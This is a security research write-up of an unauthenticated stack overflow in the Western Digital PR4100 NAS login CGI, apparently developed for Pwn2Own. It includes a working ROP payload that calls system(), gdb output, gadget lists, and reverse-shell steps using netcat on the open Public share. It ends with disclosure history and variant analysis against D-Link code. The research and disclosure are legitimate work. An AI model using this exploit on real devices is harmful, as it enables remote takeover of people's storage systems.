Your vulnerability is in another OEM!
, , - 02/09/2021 - dansHowever, exploitation was not THAT easy (it was not that hard either) and ultimately it did not even mattered since the vulnerability was wiped by a major OS update pushed mere days before the contest.
In the end, the vulnerable code we audited might not have even been written by Western Digital after all....
The Western Digital PR4100 NAS
runs a custom embedded linux system. When we started auditing it, it was running the "My Cloud OS 3" v2.41.116. The firmware is easily unpackable via binwalk -Mer
(you may need squashfs
tools installed).
The PR4100
, like any connected devices nowadays, exposes several services remotely: webserver, samba, upnp, etc. We can enable a SSH root access on the device in order to list those services:
root@MyCloudPR4100 root # netstat -tulpn
Active Internet connections (only servers)
Proto Local Address Foreign Address State PID/Program name
tcp 0.0.0.0:443 0.0.0.0:* LISTEN 3320/httpd
tcp 127.0.0.1:4700 0.0.0.0:* LISTEN 4131/cnid_metad
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 4073/smbd
tcp 192.168.178.31:49152 0.0.0.0:* LISTEN 3746/upnp_nas_devic
tcp 0.0.0.0:548 0.0.0.0:* LISTEN 4130/afpd
tcp 0.0.0.0:3306 0.0.0.0:* LISTEN 3941/mysqld
tcp 0.0.0.0:139 0.0.0.0:* LISTEN 4073/smbd
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 3320/httpd
tcp 0.0.0.0:8181 0.0.0.0:* LISTEN 1609/restsdk-server
tcp 0.0.0.0:22 0.0.0.0:* LISTEN 2761/sshd
tcp6 :::445 :::* LISTEN 4073/smbd
tcp6 :::139 :::* LISTEN 4073/smbd
tcp6 :::22 :::* LISTEN 2761/sshd
udp 0.0.0.0:1900 0.0.0.0:* 3746/upnp_nas_devic
udp 0.0.0.0:24629 0.0.0.0:* 2076/mserver
udp 172.17.255.255:137 0.0.0.0:* 4077/nmbd
udp 172.17.42.1:137 0.0.0.0:* 4077/nmbd
udp 192.168.178.255:137 0.0.0.0:* 4077/nmbd
udp 192.168.178.31:137 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:137 0.0.0.0:* 4077/nmbd
udp 172.17.255.255:138 0.0.0.0:* 4077/nmbd
udp 172.17.42.1:138 0.0.0.0:* 4077/nmbd
udp 192.168.178.255:138 0.0.0.0:* 4077/nmbd
udp 192.168.178.31:138 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:138 0.0.0.0:* 4077/nmbd
udp 0.0.0.0:30958 0.0.0.0:* 3808/apkg
udp 0.0.0.0:514 0.0.0.0:* 1958/syslogd
udp 127.0.0.1:23457 0.0.0.0:* 3985/wdmcserver
udp 127.0.0.1:46058 0.0.0.0:* 3746/upnp_nas_devic
udp 0.0.0.0:48299 0.0.0.0:* 2481/avahi-daemon:
udp 0.0.0.0:5353 0.0.0.0:* 2481/avahi-daemon:
The webserver is implemented using a good ol' cgi
bin served via apache2
. Access to the cgi-bin
folder is declared/described/made by a rewrite rule in web/apache2/conf/mods-enabled/rewrite.conf
towards the file cgi_api.php
:
<Directory "/var/www/cgi-bin/">
RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$
RewriteCond $1 !^abFiles$
RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING} [L]
</Directory>
/web/apache2/conf/mods-enabled/rewrite.conf
/web/pages/cgi_api.php
implements a big switch case
based on the cgi
requested by an external user:
$ca = new cgiAPI;
switch($cgi_name)
{
case "login_mgr": //does not need to authentication
{
$toURL = sprintf("/cgi-bin/%s.cgi", $cgi_name);
$send_data = $ca->get_query_data();
$result = $ca->cgiAPI_SEND($toURL, $send_data); //return data is xml type
$res = $ca->get_response_body($result);
$http_code = $ca->get_http_code();
/* ... */
}
break;
case "system_mgr":
{
$send_data = $ca->get_query_data();
if (check_function_permission($cgi_name, $send_data['cmd']) === 0)
{
http_response_code(406); //Not Acceptable
}
/* ... */
break;
}
case "account_mgr":
{
$send_data = $ca->get_query_data();
if (check_function_permission($cgi_name, $send_data['cmd']) === 0)
{
http_response_code(406); //Not Acceptable
}
/* ... */
break;
}
case "p2p_upload":
{
$send_data = $ca->get_query_data();
if (check_function_permission($cgi_name, $send_data['cmd']) === 0)
{
http_response_code(406); //Not Acceptable
}
/* ... */
break;
}
case "apkg_mgr":
{
$send_data = $ca->get_query_data();
if (check_function_permission($cgi_name, $send_data['cmd']) === 0)
{
http_response_code(406); //Not Acceptable
}
/* ... */
break;
}
case "s3":
case "folder_tree":
case "webfile_mgr":
{
/* ... */
default_curl($ca, $cgi_name, $send_data);
}
break;
case "network_mgr":
case "usb_device":
case "remote_backup":
case "app_mgr":
case "iscsi_mgr":
case "virtual_vol":
case "snmp_mgr":
{
/* ... */
default_curl($ca, $cgi_name);
}
break;
case "webpipe": //access xml file
{
/* ... */
if (check_function_permission($cgi_name, $_xml_file) === 0)
http_response_code(406); //Not Acceptable
}
break;
default:
{
default_curl($ca, $cgi_name);
}
}
/web/pages/cgi_api.php
This file restricts unauthenticated users to access only login_mgr.cgi
and pretty much nothing else. At least we don't have to spend hours looking at the attack surface 😄.
The authentication scheme only takes two POST
parameters:
- a 32 bytes
username
string - a 256 bytes
base64
password
string.
There are several ways to authenticate a user on the webserver, but the simplest one is by comparing the username
/password
against an existing user account in the /etc/shadow
file:
/*implemented in 0x402980*/
int wd_login(void)
{
// [....]
uint8_t username[32];
// [....]
char pwd[64];
char b64_pwd[256];
// [....]
cgiFormString((__int64)"username", (__int64)username, 0x20LL);
cgiFormString((__int64)"pwd", (__int64)b64_pwd, 0x100LL);
do_base64_pton((u_char *)pwd, b64_pwd, 0x100);
pos_in_username = index(username, '\\');
if ( !pos_in_username )
{
if ( is_not_forbidden_user(username) )
{
b_is_authenticated = do_auth_with_shadow(username, pwd);
}
else
{
b_is_authenticated = 0;
}
goto LABEL_32;
}
// [....]
}
Nothing out of the ordinary... except maybe the size of the base64
buffer for the password
: 256 bytes in base64
can translate up to 192 bytes in raw, which pretty lengthy for a password!
That's also where we have what we call a "code smell":
// [....]
char pwd[64];
char b64_pwd[256];
// [....]
do_base64_pton((u_char *)pwd, b64_pwd, sizeof(b64_pwd));
do_base64_pton
calls b64_pton
with the size of the input buffer b64_pwd
instead of computing the max b64 buffer size allowed for a 64-byte raw buffer, which is 64*4/3 = 88
characters (with padding).
So here we can actually write outside of pwd
onto the next buffer on the stack, which is b64_pwd
aka our input buffer.
This is not a vulnerability per se, but you'll see it will greatly help in our exploitation phase.
Let's stop beating around the bushes and explain where the vulnerability lies:
/* 0x404480 */
int __fastcall do_auth_with_shadow(
const char *username,
const char *password
)
{
FILE *shadow_fd;
struct passwd *result;
bool auth_succeeded;
char *v6;
char pw_passwd[80];
char password_from_user[120];
auth_succeeded = 0;
shadow_fd = fopen64("/etc/shadow", "r");
while ( 1 )
{
result = fgetpwent(shadow_fd);
if ( !result )
break;
if ( !strcmp(result->pw_name, username) )
{
strcpy(pw_passwd, result->pw_passwd);
fclose(v2);
// [VULN] Stack BOF
strcpy(password_from_user, password);
if ( pw_passwd[0] )
{
v6 = pw_encrypt(password_from_user, pw_passwd);
auth_succeeded = strcmp(v6, pw_passwd) == 0;
}
else
{
auth_succeeded = password_from_user[0] == 0;
}
return result;
}
}
if ( shadow_fd )
fclose(shadow_fd);
return auth_succeeded;
}
The function is pretty straightforward: it tries to proceed to authentication with the credentials provided by the client against the shadow file. However, for some unknown reasons that might have to do with code reuse (more on that in the last part of this blogpost), there is a strcpy
of our base64
decoded password into a 120 bytes stack buffer password_from_user
!
Well, if you didn't already recognized it, this is a pretty obvious stack buffer overflow and I highly encourage you to read the the paper which launched the offensive security research industry: Smashing The Stack For Fun And Profit.
This is a '90-style vulnerability located in a '90-style binary since login_mgr.cgi
does not have any stack canaries nor PIE
:
00400000-00407000 r-xp 00000000 08:02 7077896 /var/www/cgi-bin/login_mgr.cgi
00607000-00608000 rw-p 00007000 08:02 7077896 /var/www/cgi-binlogin_mgr.cgi
[... lots of PIE-activated system libs ...]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Before delving into the exploitation, let's take a moment in order to describe our debugging setup, which usually is the first you want to do when developing an exploit.
Debugging setup
By default, the PR4100
mounts and exposes several folders over AFP
or SMB
, one of them being /mnt/HD/HD_a2/Public/
:
root@MyCloudPR4100 root # ls -als /mnt/HD/HD_a2/Public/
8 drwxrwxrwx 6 root root 4096 Aug 13 06:06 .
4 drwxrwxrwx 10 root root 4096 Aug 10 10:34 ..
4 drwxrwxrwx 2 root root 4096 Aug 10 10:21 Shared Music
4 drwxrwxrwx 2 root root 4096 Aug 10 10:21 Shared Pictures
4 drwxrwxrwx 2 root root 4096 Aug 10 10:21 Shared Videos
8 drwxrwxrwx 3 nobody share 4096 Aug 12 08:39 busybox
7236 -rwxrwxrwx 1 nobody share 7404344 Aug 11 09:47 gdb-7.10.1-x64
2148 -rwxrwxrwx 1 nobody share 2192088 Aug 11 09:47 gdbserver-7.10.1-x64
32 -rwxr-xr-x 1 root root 31960 Aug 12 08:00 login_mgr.cgi
36 -rwxrwxrwx 1 nobody share 31960 Aug 12 08:27 login_mgr_patched.cgi
2848 -rwxrwxrwx 1 nobody share 2914424 Aug 12 11:34 nc
2852 -rwxrwxrwx 1 nobody share 2914424 Aug 12 11:26 ncat
28 -rwxrwxrwx 1 nobody share 22140 Aug 12 11:26 netcat
This folder can be accessed by any unauthenticated user, and any file written in it has 777
perms, which is pretty useful for an attacker1.
apache
unfortunately does not run in fast cgi
mode here. In the "slow" mode, the apache
process forks a new process upon receiving a cgi
request in order to handle this one. When this request is processed, that newly forked process dies... Debugging such an ephemeral process is always a PITA.
Moreover, in this setup there are 4 instances of apache
running in parallel so it can be painful to know which process to attach to and do set follow-fork-mode child
in order to debug the authentication request.
Instead we use the following technique de maître clodo
("quick and dirty" for you English people):
- we patched
login_mgr.cgi
by adding aneb fe
2 at the begining ofwd_login
- we pushed
login_mgr_patched.cgi
on the NAS and replaced the symlink to point to our binary:
rm /var/www/cgi-bin/login_mgr.cgi
ln -s /mnt/HD/HD_a2/Public/login_mgr_patched.cgi /var/www/cgi-bin/login_mgr.cgi
Upon request launch, a new process is forked and put in an infinite loop. We just have to attach our gdb
/gdbserver
on it and type the following commands to "unfreeze" the process:
display /i $pc
set {int} $pc=0xc0315741 // patching back the original code
si
si
set {int} 0x402980=0xc031ebfe // putting back ebfe (not mandatory)
c
Note: the symlink modification does not survive a reboot. It allows us not to brick the device if we did something wrong ☺️
From overflow to RIP control
password_from_user
is placed just before do_auth_with_shadow
's return address and there is no stack canary between so we just need to overflow the buffer by the size of a pointer to control rip
:
TARGET_IP = struct.pack('P', 0xdeadbeef)
password = base64.b64encode(b'\xca'*120+bytes(TARGET_IP))
Here's the result:
Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
1: x/i $pc
=> 0xdeadbeef: <error: Cannot access memory at address 0xdeadbeef>
(gdb) info registers
rax 0x0 0
rbx 0xcacacacacacacaca -3834029160418063670
rcx 0x33 51
rdx 0x4 4
rsi 0x7fffd04e84e0 140736688194784
rdi 0x607540 6321472
rbp 0xcacacacacacacaca 0xcacacacacacacaca
rsp 0x7fffd04e85b0 0x7fffd04e85b0
r8 0xffff 65535
r9 0x67672f694f4f6c56 7450976237856451670
r10 0x7fffd04e8090 140736688193680
r11 0x7f997ffcb6a0 140297253992096
r12 0xcacacacacacacaca -3834029160418063670
r13 0xcacacacacacacaca -3834029160418063670
r14 0x0 0
r15 0x0 0
rip 0xdeadbeef 0xdeadbeef
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) bt
#0 0x00000000deadbeef in ?? ()
#1 0x0000000000000000 in ?? ()
Easy-peasy, lemon squeezy ☺️
These are the registers we control when the program crashes:
- complete control over
rbx
,rbp
,r12
,r13
and obviouslyrip
r12
points to0x607540
, a static buffer containing themd5
hash of the password query variable which will be checked against/etc/shadow
entries for authentication:-
(gdb) x /s 0x607540 0x607540: "$1$$sKaIVlOOi/gg7W7Zl6XSw0"
- Technically "controllable" but really difficult in reality.
-
r11
points tofree()
(/lib64/libc.so.6
). Might be interesting if we want to return to thelibc
with the correct gadget.rsi
andr10
store a stack memory address
from RIP control to system()
This is where things get a bit difficult:
login_mgr.cgi
is the only binary withoutPIE
in the process, so it's the only binary with predictable addresses. Moreover, the process is mapped in the 32-bit address space whereas system libs are mapped as 64-bit addresses so we don't even have "relative" predictable addresses since the module is pretty disjoint from system libs.- The process is transient (i.e. destroyed on request completion, unlike
fast-cgi
) so it is useless to try to leak an address as a stepping stone in the exploitation. The exploit has to be done in a single shot. strcpy
overwrites the process' stack until the firstNUL
byte, and since our stack pivot must be a valid 32-bit address pointing inlogin_mgr.cgi
.text
section, we can't put anyNUL
byte in the first 120 bytes and we have to place at least 4\x00
for our stack pivot, which severely weakens our exploitation primitive.
So to recap we have to write a single shot exploit, using gadgets only located in login_mgr.cgi
(the .text
section is only 7Kb) and with payload buffer of maximum 192 chars, in which there are additional constraints.
And the objective is to have an RCE on the system.
Not so easy-peasy, lemon squeezy 😞
The binary is not bountiful with cool rop gadgets, however it does have an import for system()
which is potentially just what we need. However, we do not have control over rdi
, which is the first argument of a function in x86-64 linux calls, which translates to the cmd
string for system(char *cmd)
. So we can't simply jump on system()
, we have to control rdi
in some way before.
These are the xrefs calling system()
in login_mgr.cgi
:
.text:0000000000402800 echo_egiga0_ip_in_tmp_file sprintf(s, "echo '%s' > /tmp/IPStr", a1);
result = system(s);
.text:0000000000402EE3 wd_login system("rm /tmp/login_status.xml >/dev/null 2>&1");
.text:00000000004031D1 wd_login system("rm /tmp/login_status.xml >/dev/null 2>&1");
.text:00000000004036F5 wd_login system("upsd -L>/dev/null 2>&1");
.text:00000000004039BB __lighty_ssl_CVE_2019_16057 sprintf(s, "lighty_ssl -p \"%s\" > /dev/null 2>&1", a1);
system(s);
echo_egiga0_ip_in_tmp_file
and __lighty_ssl_CVE_2019_16057
are dead code, there is no control flow allowing the program to call them. What's interesting is in both of these functions, the calls to system()
are done with a variable s
instead of a static const string
hardcoded in the .rodata
section, which we obviously can't overwrite.
These are the corresponding gadgets:
echo_egiga0_ip_in_tmp_file+8b
0x4027FB
:-
echo_egiga0_ip_in_tmp_file+8B 0C8 48 8D 7C 24 30 lea rdi, [rsp+30h] ; command echo_egiga0_ip_in_tmp_file+90 0C8 E8 3B F4 FF FF call _system
-
__lighty_ssl_CVE_2019_16057+27
0x04039B7
:-
__lighty_ssl_CVE_2019_16057+27 108 48 8D 3C 24 lea rdi, [rsp] ; command __lighty_ssl_CVE_2019_16057+2B 108 E8 80 E2 FF FF call _system
-
So we can either load rdi
from qword ptr [rsp]
or from qword ptr [rsp + 0x30]
.
Let's see where rsp
points to when pivoting:
TARGET_RET = 0x403BFE
password = base64.b64encode(b'\xca'*120+bytes(struct.pack('P', TARGET_RET)))
# password = "ysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrK/jtAAAAAAAA="
(gdb) x /80gx $rsp
0x7ffe4ca77440: 0x0000000000000000 0x000000005f367eef
$rsp+0x010: 0x0000000000000000 0x0000000000000000
$rsp+0x020: 0x0000000000000000 0x0000000000000000
$rsp+0x030: 0x0000000000000000 0x0000000000000000
$rsp+0x040: 0x0000000000000000 0x0000000000000000
$rsp+0x050: 0x0000006e696d6461 0x0000000000000000
$rsp+0x060: 0x0000000000000000 0x0000000000000000
$rsp+0x070: 0x0000000000000000 0x0000000000000000
$rsp+0x080: 0x0000000000000000 0x0000000000000000
$rsp+0x090: 0xcacacacacacacaca 0xcacacacacacacaca
$rsp+0x0a0: 0xcacacacacacacaca 0xcacacacacacacaca
$rsp+0x0b0: 0xcacacacacacacaca 0xcacacacacacacaca
$rsp+0x0c0: 0xcacacacacacacaca 0xcacacacacacacaca
$rsp+0x0d0: 0xcacacacacacacaca 0xcacacacacacacaca
$rsp+0x0e0: 0xcacacacacacacaca 0xcacacacacacacaca
$rsp+0x0f0: 0xcacacacacacacaca 0xcacacacacacacaca
$rsp+0x100: 0xcacacacacacacaca 0x0000000000403bfe
$rsp+0x110: 0x4b7273794b727300 0x4b7273794b727379
$rsp+0x120: 0x4b7273794b727379 0x4b7273794b727379
$rsp+0x130: 0x4b7273794b727379 0x4b7273794b727379
$rsp+0x140: 0x4b7273794b727379 0x4b7273794b727379
$rsp+0x150: 0x4b7273794b727379 0x4b7273794b727379
$rsp+0x160: 0x4b7273794b727379 0x4b7273794b727379
$rsp+0x170: 0x4141414141746a2f 0x000000003d414141
$rsp+0x180: 0x0000000000000000 0x0000000000000000
$rsp+0x190: 0x0000000000000000 0x0000000000000000
$rsp+0x1a0: 0x0000000000000000 0x0000000000000000
$rsp+0x1b0: 0x0000000000000000 0x0000000000000000
$rsp+0x1c0: 0x0000000000000000 0x0000000000000000
$rsp+0x1d0: 0x0000000000000000 0x0000000000000000
$rsp+0x1e0: 0x0000000000000000 0x0000000000000000
$rsp+0x1f0: 0x0000000000000000 0x0000000000000000
$rsp+0x200: 0x0000000000000000 0x0000000000000000
$rsp+0x210: 0x0000000000000000 0x0000000000000000
$rsp+0x220: 0x0000000000000000 0x0000000000000000
$rsp+0x230: 0x0000000000000000 0x0000000000000000
$rsp+0x240: 0x0000000000000000 0x0000000000000000
$rsp+0x250: 0x0000000000000000 0x0000000000000000
$rsp+0x260: 0x0000000000000000 0x0000000000000000
$rsp+0x270: 0x0000000000000000 0x0000000000000000
(gdb) x /s $rsp+0x111
0x7ffe4ca77551: "srKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrK/jtAAAAAAAA="
When we return from do_auth_with_shadow
, rsp
is locating exactly 0x90 bytes before our controlled pw_passwd
.
Interesting observation: behind our pw_passwd
buffer we find a truncated base64
string corresponding to b64_pwd
. This string is corrupted "from the front" since do_base64_pton
is also overwriting buffers as we've seen previously.
After some time playing with gadgets in login_mgr.cgi
, we finally had an eureka moment: if the payload part between $rsp+0x090
and $rsp+0x0108
is not really usable because of the non-NUL
bytes constraint, anything behind $rsp+0x0108
(the return address) is fair game, and entirely controllable since it comes from do_base64_pton
!
As said previously, the overall buffer size limit is 192 (0xc0) bytes so anything between $rsp+0x0110
and $rsp+0x0150
is under our control:
The plan here is to jump on a gadget that will shift rsp
towards that $rsp+[0x0110-0x0150]
fully controllable zone in order to have a secondary "stack pivot" that will allow us to chain one or two gadgets, the goal here being to call system()
with content pointed by rdi
under our control.
This is an abridged list of useful gadgets from login_mgr.cgi
:
$ ./rp-lin-x64 --unique -f login_mgr.cgi --rop=3 | grep "lea rsp" | grep -v "; lea rsp" | grep -v "cvttsd2si"
0x00402269: lea rsp, qword [rsp+0x00000008] ; pop rbx ; pop rbp ; ret ; (5 found)
0x00402538: lea rsp, qword [rsp+0x00000010] ; pop rbx ; ret ; (2 found)
0x00403e21: lea rsp, qword [rsp+0x00000018] ; pop rbx ; pop rbp ; ret ; (1 found)
0x004028e9: lea rsp, qword [rsp+0x00000020] ; pop rbx ; ret ; (6 found)
0x0040396f: lea rsp, qword [rsp+0x00000028] ; ret ; (1 found)
0x004037d4: lea rsp, qword [rsp+0x00000048] ; ret ; (1 found)
0x00404414: lea rsp, qword [rsp+0x00000050] ; pop rbx ; ret ; (1 found)
0x00402805: lea rsp, qword [rsp+0x000000B8] ; pop rbx ; pop rbp ; ret ; (1 found)
0x00402240: lea rsp, qword [rsp+0x000000D8] ; pop rbx ; pop rbp ; ret ; (1 found)
0x0040248e: lea rsp, qword [rsp+0x00000108] ; pop rbx ; pop rbp ; ret ; (3 found)
0x004039c2: lea rsp, qword [rsp+0x00000108] ; ret ; (1 found)
0x00403bfe: lea rsp, qword [rsp+0x00000140] ; pop rbx ; ret ; (1 found)
0x00403e68: lea rsp, qword [rsp+0x00000408] ; pop rbx ; pop rbp ; ret ; (1 found)
As you can see, not a whole lot of gadgets moving rsp
. There are only 2 unique gadgets that seem useful enough:
0x0040248e: lea rsp, qword [rsp+0x00000108] ; pop rbx ; pop rbp ; ret;
which shiftsrsp
by+0x128
bytes (0x108 + 2*8 + 0x10 = 0x128
)0x00403bfe: lea rsp, qword [rsp+0x00000140] ; pop rbx ; ret;
which shiftsrsp
by+0x150
bytes (0x140 + 1*8 + 0x10 = 0x158
)
There are several ropchains available from the 5 gadgets (2 for the system()
call and the previous 3) but this is the simplest one we've found:
password = base64.b64encode(b"".join([
b'\xca'*120, # padding, must not have any NUL byte
bytes(struct.pack('P', 0x0040248e)), # lea rsp, [rsp+0x108]; pop rbx; pop rbp; retn;
b'\xca'*8, # padding
bytes(struct.pack('P', 0x04039B7)), # lea rdi, [rsp]; system();
command + b"\x00" # this buffer will be referenced by rdi on system() call
]))
The only remaining constraint: the command
string length must be inferior or equal to 48 bytes, NUL
byte included.
From system() to RCE
At that point we cleared off the most difficult hurdle. We can launch any 48-byte command line remotely on the system, so we are pretty good.
A few remarks:
- The
samba/afpd
configuration mounts by default 3 shared folders:Public
,TimeShare
and another one that we don't remember the name anymore. - Any of these shares are accessible to unauthenticated guests and any file written on them is chown'ed
nobody:share
and chmod'ed777
(therefore executable). - Share mounts are enumerables via
/shares/*
, via/mnt/HDXX/HD_YY/*
vianmap
or even simpler viasmbclient
Just push a netcat static binary on the Public
share and call it with the correct arguments, and voilà you have a reverse shell on the NAS!
Contest
The contest was announced by ZDI on the 28th of July 2020 and was going to take place on the 5th of November 2020 (end of registration on the 30th of October 2020). Western Digital
pushed a major update on their "MyCloud OS" from version 3 to version 5.04.114 on the 27th of October 2020, which is exactly 2 days before the end of registration for Pwn2Own!
The bad faith of WD is apparently notorious enough among security researchers that some don't even bother with proper vulnerability disclosure anymore and published the vulnerability directly on Twitter. This vulnerability does not have a proper CVE attached and, a year later, the OS3 version still embeds the vulnerability without any mention that users of PR4100
must update to OS5 if they want to stay secure.
In the end, the last minute major OS update did not even really worked in WD's favor since there were still 6 successful RCE against it! (1 unique, 2 full duplicates of the first, 3 partial duplicates of the previous ones).
Variant analysis
Let's actually conclude with something more interesting: we use some dead code as a gadget, but why this code is here in the first place? On Internet, the __lighty_ssl_CVE_2019_16057
function points towards the following blogpost:
When looking at the blogpost, one thing is striking: the authentication code looks verily similar!
D-link
is a Taiwanese company located in Taipei, Western Digital
is an American company with a headquarter in San José, California. Not really related. So why do they share the same codebase?
It's not the first time some security researcher wonder why Western Digital
and D-link
code looks the same:
D-Link
began to wind down their NAS product division (the "DNS-XXX" SKUs) around 2015 and now the only network storage equipments it sells are related to video recording (the "DNR-XXX" SKUs) so it would make sense for them to sell out their now "useless" firmware code to one of their competitor. It would allow the company to extract the most of their internal development effort out of their dead business line. 😊
Anyway, we downloaded a metric ton of firmwares from D-link
and Western Digital
and found out that a lot embed the dangerous strcpy
call, even if none are actually vulnerable because of size restrictions on user-supplied login and password:
In conclusion, if you ever have to audit a Western Digital
equipment, try to take a look at CVE published on D-Link
devices. 😁